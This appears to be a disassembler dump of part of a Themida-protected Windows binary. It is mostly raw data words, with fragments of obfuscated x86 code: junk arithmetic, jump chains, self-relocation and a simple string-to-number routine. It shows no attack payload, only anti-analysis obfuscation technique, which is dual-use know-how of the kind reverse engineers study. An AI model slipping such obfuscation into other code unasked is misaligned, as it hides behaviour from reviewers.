dd 7E8h, 7DA5BD00h, 94D0B25h, 0F5BD78Bh, 480h, 0D68B5300h
dd 0FC00B5Ah, 0A084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 0D13A3F20h, 817A1EDDh
dd 14E9h, 0E4672A00h, 9220841Bh, 0CECD578Ah, 0AD5DF18Eh
dd 9A42E3C0h, 81666061h, 0F53A4EF6h, 61BD8361h, 61F01h
dd 4F840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 62954C3h, 12BF2A77h, 0FFD81A10h
dd 1F0F1195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 9B099EDh, 1F078985h, 51858B06h, 6A061F17h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 3546C355h, 6DBD899Ch, 66061F0Dh, 195C281h
dd 8B0000C6h, 8E958D6h, 68000000h, 986B6737h, 66E4FD80h
dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 0F6D0E7C3h, 840F04C1h, 7Ch, 718D8B60h, 8B061F13h
dd 6DE961F9h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 0A010C353h, 398529F0h
dd 0BA061F02h, 284F2F6Fh, 1BB5B58Bh, 69B6061Fh, 1180C681h
dd 8D0F0000h, 6, 2A59952Bh, 958B061Fh, 61F11ADh, 6C7h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 7DBFFBC3h, 55006A5Eh, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 0F88354h, 0A9E840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 0E89DA1C3h, 0Ch, 6AA5D88Eh, 0AAD96CBCh, 4DD75CD0h, 0B782D381h
dd 665B58A1h, 83AF81BAh, 850F01F8h, 1B5h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 17h, 0B6C35545h, 0E9EF9CEFh
dd 12h, 0A84F34D7h, 6EF801Ah, 0F36E26Dh, 68997582h, 0B501EFDDh
dd 61F30BDh, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 0C57830Dh, 0CE9CFh, 0ABE30000h
dd 6A9D34BDh, 0C49FE704h, 0C280384Fh, 0FC00B5Ah, 0D284h
dd 0D68B6600h, 5820Fh, 0F7BA0000h, 832DAE49h, 840F01F8h
dd 0D5h, 12E9h, 67E28400h, 938D3DACh, 1E60CF5Eh, 0CEFEBE07h
dd 83CD67B9h, 840F03F8h, 53h, 0BA66C02Bh, 0BD8DA4DCh, 5B7974h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C0C35343h
dd 3DC445A8h, 6AE7FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 0F8CFE6C3h, 7BE68ABBh, 0B871D280h
dd 1, 1B05B589h, 0BD8D061Fh, 5B7974h, 6AE7FFF5h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 516FC352h, 5211528Eh, 8BA5178Ah, 1F2F7995h, 11852906h
dd 51061F2Eh, 8D5A51B2h, 1F43D2BDh, 3810F06h, 0F000000h
dd 41E9D0BFh, 89000002h, 1F1921BDh, 0A185C706h, 5061F4Dh
dd 60000000h, 2A65958Bh, 0B861061Fh, 5, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 0AEC35242h, 439360FAh
dd 0B2C1B125h, 512DBBDDh, 35E95936h, 2B000008h, 1F0C5595h
dd 2F88306h, 107850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 3611CEC3h, 0B589D07Ch
dd 61F2BA5h, 0B8D88Bh, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 4A4CC353h
dd 8E3F942Ah, 0BF970D0h, 8C840FC0h, 8B000000h, 1F10919Dh
dd 1F88306h, 0FF43840Fh, 6060FFFFh, 60B6EC80h, 860F6161h
dd 2, 8361FE8Bh, 840F03F8h, 0FFFFFEC7h, 259D8Bh, 0B8061Fh
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 9EBBC353h, 661EF51Eh, 0A931F381h
dd 7974BD8Dh, 6A005Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 29F2D8C3h, 1F312995h, 31E7FF06h
dd 1F066585h, 8DDA8A06h, 1F45CABDh, 0D7BF0F06h, 0F3E9h
dd 8E800h, 0F5810000h, 0BC7A3BB7h, 0B5892A9Ch, 61F2365h
dd 3F8835Ah, 19850Fh, 0FD8A0000h, 475EBD8Dh, 0CB80061Fh
dd 0FD8A566Eh, 0C2E95Bh, 0FA8A0000h, 839CCA80h, 850F05F8h
dd 10h, 1EF28166h, 6EAE93Eh, 0BD290000h, 61F0741h, 0F06F883h
dd 1985h, 0D1950300h, 8D061F0Eh, 1F4956BDh, 0E9D88B06h
dd 88h, 2C5DBD89h, 0F883061Fh, 34850F07h, 0F5000000h, 365BD8Dh
dd 0BD31061Fh, 61F1885h, 0E6E9DA8Ah, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 70FC352h, 83D68B66h, 850F0AF8h, 3Ch, 0BD8D0CB2h, 61F4B4Eh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 50C35545h
dd 0B8359A7Eh, 8120F9E6h, 480D72C2h, 6E914h, 0BD890000h
dd 61F10C9h, 8B525257h, 1F2FE19Dh, 8B5A5A06h, 1F2E1595h
dd 2605B906h, 0DB816C36h, 7DE5F6C4h, 0F003F83h, 4284h
dd 0B9958900h, 30061F09h, 0D18B600Fh, 5F22B866h, 6AC9D161h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 13E9C351h, 68E0F47h, 23000000h, 1F06C595h
dd 0FFB6E906h, 5FF8FFFFh, 0EE8h, 78A2CC00h, 0DEE71D22h
dd 0B1FE4B09h, 66CE69C4h, 0EA50CA81h, 4ABD895Ah, 89061F4Dh
dd 1F2FA585h, 0D98D8D06h, 6A061F0Bh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0C1A0C350h
dd 3B6910Ch, 8D296581h, 61F0A65h, 0EE1B5FFh, 0EB80061Fh
dd 0EB858DB9h, 500621A8h, 541DBD8Dh, 8D8D061Fh, 61F6E5Fh
dd 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h, 1F6DE7B5h
dd 778D8D06h, 2B061F6Eh, 33A4F3CFh, 0B8C9h, 0C00B0000h
dd 0BD834674h, 61F0161h, 0FF067400h, 1F0F1195h, 4AB58B06h
dd 8D061F4Dh, 21A8EB85h, 8DD0FF06h, 1F41B085h, 0C7D0FF06h
dd 1F1FB185h, 106h, 7DA58B00h, 8B061F32h, 1F1245B5h, 65AD8B06h
dd 33061F07h, 0CC2C0h, 869958Bh, 6A061Fh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 518978C3h
dd 5A0BC380h, 18D9BD83h, 0F00061Fh, 2484h, 11E800h, 79850000h
dd 25198A14h, 0C2B03CAFh, 0B2B0CC67h, 29207BCDh, 1F2E5995h
dd 95FF5B06h, 61F0AD9h, 0CDBD83F8h, 61F09h, 1CD850Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 578A92C3h, 0F18ECECDh, 8589AD5Dh, 61F202Dh, 8D8B5760h
dd 61F0599h, 18BBB85Bh, 83615D0Bh, 1F0EF5BDh, 850F0106h
dd 187h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 5C35242h, 0B5240BD6h, 0D88A0C74h, 0F79BD83h, 0F00061Fh
dd 15684h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 414788D7h, 4B1D9ED8h, 0B70F40C2h
dd 0C19589DFh, 83061F0Bh, 1F4D9DBDh, 840F0006h, 11Bh, 66D958Bh
dd 858D061Fh, 621A8EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 0DFC35747h, 0B6DB48D3h, 8B6BC0E5h, 1F003D9Dh
dd 4AB58B06h, 0E9061F4Dh, 0Ah, 3152EEA4h, 0F1B22C27h, 0D0FF4B59h
dd 54DB8166h, 319D29F3h, 0C6061F12h, 1F202585h, 0C4B65406h
dd 54977568h, 0E85250EFh, 0Ch, 0F253C812h, 5C5053E6h, 9539BF57h
dd 0F5B5A56h, 0D38B6631h, 3481585Ah, 1A298124h, 0D8BF0F10h
dd 20D9B5FFh, 6A061Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 0FE144DC3h, 0EA81D98Bh, 4DF9129Ah
dd 394D858Dh, 0E280061Fh, 2BD0FF45h, 1F23799Dh, 66006A06h
dd 0FF6AD18Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 65C35040h, 48C6EAAEh, 31DCE0F4h, 45950B09h, 0FF061F2Ch
dd 0FD958BD0h, 0FF061F10h, 1F1EE5B5h, 0C98D8906h, 0FF061F14h
dd 1F0EE195h, 819D8B06h, 8B061F18h, 1F4D4AB5h, 85895706h
dd 61F3035h, 0BD89C35Bh, 61F0E15h, 1751B58Bh, 0BB66061Fh
dd 0F60B287Eh, 32840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0FBE8EC3h, 68Ch, 858D2900h
dd 0C6061F0Eh, 9D890006h, 61F11F5h, 4D528589h, 6A061Fh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 0ADE6A4C3h, 0F94BA5DBh, 0F00F883h, 2B384h, 0DB805000h
dd 0B85B74h, 80000000h, 0F8830ECEh, 0D5840F00h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 545CC351h, 0C6AB36A6h, 6E9BD89h, 0F883061Fh
dd 72850F02h, 66000000h, 83ACEA81h, 43CD858Dh, 0D380061Fh
dd 9292D28h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 850F34C3h, 10h, 0BE9h, 2B4A4F00h
dd 36FA0C14h, 0DB8A0E97h, 11E9h, 0CD204500h, 3EDEC2F1h
dd 0F5C71EA0h, 4269D01Dh, 0F50E9D8h, 384h, 0D38B6600h
dd 0F240489h, 8BC3D1BFh, 1F31B99Dh, 0B806h, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0BDCCC2C3h, 29750FBFh, 1F09F19Dh, 1CAE906h, 0D08B0000h
dd 1B8h, 0A5950100h, 8D061F18h, 1F43D2BDh, 5880F06h, 0BB000000h
dd 4345662Ah, 97E9h, 83FA8A00h, 850F02F8h, 17h, 0B71BD31h
dd 0BD8D061Fh, 61F45CAh, 0E9D18B66h, 78h, 83F6DB80h, 850F03F8h
dd 53h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h
dd 0CAC35646h, 8D546A8Dh, 1F475EBDh, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 717F0EB2h
dd 0B589D08Ah, 61F02E1h, 1BE9h, 8356B600h, 850F05F8h, 10h
dd 9BEB8166h, 9EE934h, 95290000h, 61F0E4Dh, 6840F57h, 33000000h
dd 1F1BAD95h, 2605B906h, 0D38B6C36h, 83D88B66h, 840F003Fh
dd 78h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch
dd 3C35040h, 47A1E90Fh, 369AF910h, 0B81958Bh, 0F30061Fh
dd 0CB58D89h, 9D29061Fh, 61F1AADh, 0BE8C9D1h, 0A0000000h
dd 0BD2C8806h, 0E85CB3DFh, 0EE8D179h, 9E000000h, 3CAA5D1Ch
dd 87F0367Dh, 5EF87C1Eh, 25BD8986h, 5A061F02h, 0E9FC475Ah
dd 0FFFFFF8Bh, 0D2BB6650h, 958B5A58h, 61F1171h, 0F05F883h
dd 6F85h, 95236000h, 61F134Dh, 0D3BF0F61h, 0FD98C66h, 0C1F6D3B7h
dd 43850F04h, 80000000h, 0B820E3h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 0FBF2C350h, 0B339C56Dh, 8952D4F6h, 1F1FA58Dh, 0DDB52906h
dd 0E9061F2Ch, 18h, 0EF9958Bh, 858B061Fh, 61F2AA1h, 0E0FFD8B2h
dd 9D8BDE8Bh, 61F1415h, 0EE1BD83h, 0F00061Fh, 10285h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 86BA6670h, 5E950E2h, 25000000h, 14ECB710h, 6A240489h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 89EEC350h, 85C65E75h, 61F2025h, 50006A45h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 1BA061D3h, 0A4975C90h, 0BD958B70h, 68061F0Dh, 9467BB20h
dd 81D78B66h, 0D2492434h, 6A1A15h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 664C7BC3h, 0E90A6EBBh
dd 5, 0E9D1AEDAh, 0D9B5FF43h, 8B061F20h, 1F079595h, 4D858D06h
dd 8B061F39h, 1F05999Dh, 6AD0FF06h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 21AAC353h
dd 10EB80F0h, 8589DAB3h, 61F0EE1h, 5758D68Bh, 835BD18Bh
dd 1F4DA1BDh, 840F0006h, 62h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 9EC35040h, 154457EBh, 3B8F380h
dd 1F010995h, 0E5B5FF06h, 66061F1Eh, 8042D281h, 0EE195FFh
dd 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 880F1EC3h, 6, 0AF19D8Bh, 0F883061Fh, 75850F00h
dd 23000001h, 1F30FD95h, 0C9F38106h, 8341D393h, 1F2C31BDh
dd 840F0006h, 99h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 8FC35141h, 1C1BDCC2h, 89440F28h, 1F0CF985h
dd 31B5FF06h, 8B061F2Ch, 1F12A59Dh, 1B806h, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 63C65C3h, 0A5FA35ECh, 0E8800534h, 5, 0F25F14ACh, 35B5311Ah
dd 5B061F1Bh, 272E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 0BB66C1C4h, 0B70FE2E0h
dd 0E5B5FFD3h, 6A061F1Eh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 6D7CC351h, 0D7001B30h
dd 1EE5B5FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 0D6612C3h, 6AA7781Dh, 7E926h, 3AF0000h
dd 0DE2BAC8h, 0FE9E1h, 0E3C30000h, 0FA393AD7h, 0B3D41DD1h
dd 4738AEA3h, 0E1B5FFB1h, 6A061F0Eh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 94F3C353h
dd 4D2DC2C6h, 665CCE6Bh, 0ACE9D68Bh, 6A000001h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 74B9C356h, 0D0BAA6D0h, 51006A5Fh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0D1B2C619h
dd 16E5BD83h, 0F00061Fh, 9285h, 8163BA00h, 9D8B6722h, 61F0211h
dd 202585C6h, 0F4D061Fh, 4768D8BFh, 50E011D1h, 28F0F52h
dd 60000000h, 0BA310F61h, 3C743ED4h, 3481585Ah, 24A7EF24h
dd 3820F44h, 0F000000h, 0B5FFD3B7h, 61F2C51h, 8830FFCh
dd 0F000000h, 286h, 8D616000h, 1F394D85h, 0DF8B6606h, 5E9D0FFh
dd 0A3000000h, 47F07685h, 16E58589h
dd 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 256B92C3h, 12715FE9h, 0B8E401C2h, 0
dd 9D1B70Fh, 1F0DAD8Dh, 4ABD8906h, 6A061F4Dh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 7C95C353h, 0A3FBD281h, 0C00B31F6h, 28840Fh, 0B7500000h
dd 84E95B89h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 0A6E2C351h, 0B5FF7E64h
dd 61F0EE1h, 1F3D9D8Bh, 858D061Fh, 621A8EBh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 22C35646h, 8166605Ch
dd 89D2EDD6h, 1F0D999Dh, 8A506106h, 240489DEh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 15h, 32C35040h, 21858974h
dd 50061F12h, 1DBD8D56h, 8D061F54h, 1F78D48Dh, 23BCB806h
dd 0CF2B7483h, 0C8D00730h, 0F8754947h, 0BD83585Eh, 61F2C31h
dd 8B067400h, 1F0A798Dh, 0B8C93306h, 0
dd 840FC00Bh, 99h, 161BD83h, 7400061Fh, 1195FF06h, 0B8061F0Fh
dd 0
dd 975C00Bh, 4D52BD83h, 7401061Fh, 52BD8309h, 2061F4Dh
dd 0B58B0E75h, 61F4D4Ah, 0A8EB858Dh, 0D0FF0621h, 41B0858Dh
dd 0D0FF061Fh, 2329BD83h, 7502061Fh, 7DA58B2Fh, 8B061F32h
dd 1F2C3185h, 24048906h, 1FB185C7h, 1061Fh, 0B58B0000h
dd 61F4D4Eh, 765AD8Bh, 1B8061Fh, 0C2000000h, 0EB000Ch
dd 1FB185C7h, 1061Fh, 0A58B0000h, 61F327Dh, 1245B58Bh
dd 0AD8B061Fh, 61F0765h, 0CC2C033h, 0D9BD8300h, 61F18h
dd 0BD830F74h, 61F0AD9h, 0FF067400h, 1F0AD995h, 4AB58B06h
dd 0C3061F4Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 10C35242h, 2355C02Fh, 2F66D47Ah, 0DF8B66C6h, 6AD68B66h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h
dd 42000000h, 0D2B4C352h, 5E9305Dh, 2C000000h, 0F4B37755h
dd 68C0F60h, 29000000h, 1F329D85h, 0DA816606h, 2B6188AFh
dd 21958BD2h
db 10h, 1Fh, 6
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_53572B
; ---------------------------------------------------------------------------
loc_535729: ; CODE XREF: Themida_:0053572Ej
inc eax
inc edi
loc_53572B: ; CODE XREF: Themida_:00535727j
cmp byte ptr [edi], 0
jnz short loc_535729
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_53575A
; ---------------------------------------------------------------------------
loc_535737: ; CODE XREF: Themida_:0053575Cj
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_53574F
; ---------------------------------------------------------------------------
loc_53574C: ; CODE XREF: Themida_:00535752j
mul ebx
dec esi
loc_53574F: ; CODE XREF: Themida_:0053574Aj
cmp esi, 0
ja short loc_53574C
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_53575A: ; CODE XREF: Themida_:00535735j
or eax, eax
jnz short loc_535737
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 55C35646h
dd 2A3DA358h, 89CB63CDh, 1F0E858Dh, 8B48B206h, 23D0E9C1h
dd 280002h, 0D57F0258h, 3F0059h, 0DA710258h, 59h, 0DA710000h
dd 0FF680059h, 2460012h, 20000h, 10000h, 30000h, 0DCF80000h
dd 0FA33h, 4 dup(0)
dd 22180000h, 0B5BE0054h, 69690053h, 0BD0053h, 0AFD60054h
dd 0B7080053h, 0D4550053h, 0BAD50053h, 20770053h, 0CC4B0054h
dd 0EAD10053h, 0E9050053h, 0B0730053h, 0DA350053h, 0AFB0053h
dd 0DB220054h, 149B0053h, 0C4C30054h, 0B25F0053h, 842F0053h
dd 0D11F0053h, 0B2C30053h, 206E0053h, 0D4E10054h, 0AA9B0053h
dd 81B80053h, 0F8CD0053h, 6BA60053h, 14E20053h, 9D770054h
dd 0EF640053h, 83770053h, 0AC370053h, 88690053h, 17320053h
dd 4D90054h, 63350054h, 0A50F0053h, 0EE140053h, 0F9CA0053h
dd 0DBDD0053h, 0F0880053h, 0A0860053h, 0FB6E0053h, 0E1030053h
dd 0D50053h, 0D7370054h, 0B69A0053h, 1D60053h, 0C870054h
dd 0C8600054h, 820053h, 0A49D0054h, 0E6600053h, 0B5260053h
dd 0E12E0053h, 6A490053h, 5EEE0053h, 0D63F0053h, 74ED0053h
dd 0BBB20053h, 7FF50053h, 0DF2F0053h, 0DAEB0053h, 0D0B50053h
dd 0DB160053h, 8B230053h, 77C30053h, 0F4B40053h, 93070053h
dd 81EE0053h, 75F00053h, 0EDDD0053h, 0A2D40053h, 62BA0053h
dd 0AEB30053h, 0A3F80053h, 20240053h, 0B2D10054h, 0F90C0053h
dd 797E0053h, 96FD0053h, 0B1EE0053h, 0FB500053h, 0BDE70053h
dd 0FF130053h, 0FE1D0053h, 75270053h, 0AAA40053h, 846B0053h
dd 0ABF80053h, 812C0053h, 8BCA0053h, 0CB2E0053h, 0CD870053h
dd 0FD860053h, 0D3E10053h, 0CF6E0053h, 4ED0053h, 66FF0054h
dd 0C1E10053h, 90690053h, 0F6CB0053h, 0D1B80053h, 6B430053h
dd 0FDAF0053h, 0DC660053h, 5E1F0053h, 5100053h, 0E2380054h
dd 89BC0053h, 89CC0053h, 15D00053h, 62EA0054h, 0AC00053h
dd 72610054h, 22E90053h, 7F240054h, 9A0E0053h, 0BDD50053h
dd 68BA0053h, 10FE0053h, 0B3B70054h, 12970053h, 0AC480054h
dd 0DBC00053h, 83920053h, 8CCE0053h, 8DBB0053h, 9D800053h
dd 73900053h, 856F0053h, 0D8D70053h, 1E730053h, 0D0EC0054h
dd 0F44E0053h, 63F30053h, 0C2AD0053h, 9CAE0053h, 0C240053h
dd 651B0054h, 0B5910053h, 0E2E80053h, 5AE40053h, 81740053h
dd 0B4320053h, 66BD0053h, 0B98A0053h, 0BFEF0053h, 0F5580053h
dd 5C750053h, 985F0053h, 0E900053h, 0C9A10054h, 0B87B0053h
dd 21E70053h, 72230054h, 67630053h, 0CA3A0053h, 0F22A0053h
dd 6D4F0053h, 0B1580053h, 0C7B50053h, 0F1BB0053h, 1B370053h
dd 89860054h, 0A1210053h
db 53h, 0
; ---------------------------------------------------------------------------
loc_535A7A: ; CODE XREF: Themida_:00562935j
; Themida_:00562FE2j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 61F7D8Ah
mov eax, edi
add edi, 61F7AA2h
cmp eax, [edi+2Ch]
jnz short loc_535A98
jmp short loc_535AAB
; ---------------------------------------------------------------------------
loc_535A98: ; CODE XREF: Themida_:00535A94j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_535AA7
; ---------------------------------------------------------------------------
loc_535AA2: ; CODE XREF: Themida_:00535AA9j
add [edi+ecx*4+40h], eax
dec ecx
loc_535AA7: ; CODE XREF: Themida_:00535AA0j
or ecx, ecx
jnz short loc_535AA2
loc_535AAB: ; CODE XREF: Themida_:00535A96j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_535AB8: ; CODE XREF: Themida_:00535ABFj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_535AB8
loc_535AC1: ; CODE XREF: Themida_:loc_5366E4j
; Themida_:00537B82j ...
lodsb
push ecx
push ebx
mov bh, 0F0h
mov cl, 6Fh
add cl, bh
pop ebx
sub cl, 68h
xor cl, 76h
xor cl, 3Bh
push 0
sub [esp], cl
mov cl, [esp]
jmp loc_53FB62
; ---------------------------------------------------------------------------
dd 582434FFh, 52E18951h, 711BFFBAh, 5C28162h, 19D8EE4h
dd 0A66DE9D1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_535AFE: ; CODE XREF: Themida_:0053F967j
mov eax, [esp]
add esp, 4
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
shl edx, 1
shr edx, 8
shl edx, 3
add edx, 24F70218h
xor edx, 2801A668h
and eax, edx
mov edx, [esp]
add esp, 4
jmp loc_541664
; ---------------------------------------------------------------------------
db 66h, 81h, 34h
dd 6609E024h, 0F1816659h, 505809E0h, 4100E9h, 5FF82900h
dd 5E73E952h, 0C6810000h, 4, 5C243487h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 4
mov [esp], esi
jmp loc_539897
; ---------------------------------------------------------------------------
loc_535B75: ; CODE XREF: Themida_:0053FEB9j
pop ebp
push ebp
mov ebp, esp
jmp loc_53B37B
; ---------------------------------------------------------------------------
loc_535B7E: ; CODE XREF: Themida_:0053F5F2j
mov esi, 409A384Fh
sub esi, 3FF8BF14h
jmp loc_53D0F5
; ---------------------------------------------------------------------------
loc_535B8E: ; CODE XREF: Themida_:0053F735j
add eax, edi
jmp loc_53A148
; ---------------------------------------------------------------------------
db 52h, 0BAh, 0D1h
dd 10DCB3Fh, 0DAE95AD3h, 320000ACh, 34302434h, 18CFE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_535BAE: ; CODE XREF: Themida_:005411DEj
sub ecx, 2B8362CFh
mov edi, [esp]
jmp loc_536B0A
; ---------------------------------------------------------------------------
aRsc db 'Réç',0Dh,0
align 2
dw 0EC83h
dd 240C8904h, 395FBE56h, 0A1B950A0h, 0E9D81D43h, 0B414h
dd 772BE95Ch, 0E0890000h, 4DF5E9h, 4335D00h, 25DAE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_535BEE: ; CODE XREF: Themida_:00541919j
mov esi, ecx
pop ecx
add edi, esi
pop esi
jmp loc_540DB1
; ---------------------------------------------------------------------------
db 5Dh, 81h, 0C3h
dd 72CB5DCCh, 0EB81EB01h, 72CB5DCCh, 5BDBEB81h, 15D10E8h
dd 1EACE9C3h, 0C2810000h, 4, 8303E9h
db 0
; ---------------------------------------------------------------------------
loc_535C21: ; CODE XREF: Themida_:00540AF6j
mov eax, 72226004h
and eax, 16A94928h
jmp loc_542107
; ---------------------------------------------------------------------------
dd 497DEB81h, 0FCE95968h, 0B100000Dh, 0AB6E9EAh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_535C42: ; CODE XREF: Themida_:0053BD1Ej
pop ebp
xchg esi, [esp]
jmp loc_54205C
; ---------------------------------------------------------------------------
aSV db '^é·‚',0
dd 4BA00h, 0D0010000h, 6793E9h, 0E9CEFE00h, 6CCBh
; ---------------------------------------------------------------------------
loc_535C64: ; CODE XREF: Themida_:00537099j
; Themida_:0053A284j
push esi
push edi
jmp loc_53EA28
; ---------------------------------------------------------------------------
db 0BFh
dd 4, 64FEE9h, 2434FF00h, 8124048Bh, 4C4h, 1EE95300h, 0F7000006h
dd 0BAEE81DEh, 0D133042Ah, 4CC681E6h, 89560818h, 0E8895EF5h
dd 81242C8Bh, 4C4h, 4C300500h, 4E3505ABh, 8132A6B3h, 6E390AEDh
dd 81C50110h, 6E390AC5h, 0EC835810h, 242C8904h, 42474FFh
dd 81242C8Bh, 4C4h, 24048F00h, 123F685Ch, 14890000h, 0A685E924h
dd 835B0000h, 148704EAh, 0C895C24h, 81E18924h, 4C1h, 1632E900h
dd 74FF0000h, 348B0424h, 4C48124h, 0E9000000h, 0C0D2h
dd 8904EC83h, 0EDB1240Ch, 0E902E1C0h, 4A7Bh, 2D806853h
dd 47E96FB7h, 53000005h, 42474FFh, 734BE9h, 0F9F68100h
dd 16F0A53h, 1606E9F0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_535D3E: ; CODE XREF: Themida_:005386D1j
push edx
mov edx, 4
add eax, edx
pop edx
sub eax, 4
xchg eax, [esp]
jmp loc_53C866
; ---------------------------------------------------------------------------
loc_535D54: ; CODE XREF: Themida_:0053D949j
sub ch, bh
add ch, 29h
push bx
mov bh, 52h
sub ch, bh
mov bx, [esp]
jmp loc_53B6C6
; ---------------------------------------------------------------------------
dd 0E9E18951h, 901h, 83240C89h, 8F5404ECh, 0EDE92404h
dd 6600009Eh, 0B3241C89h, 2C922C55h, 9B2CE8h, 49B04D8h
dd 9E951E8h, 87000070h, 248B240Ch, 240C8924h, 0C82828B1h
dd 284D0459h, 514D2CD8h, 0FD8660B5h, 382CE9h
db 0
; ---------------------------------------------------------------------------
loc_535DB5: ; CODE XREF: Themida_:0053D35Bj
sub eax, esi
pop esi
jmp loc_53AE4C
; ---------------------------------------------------------------------------
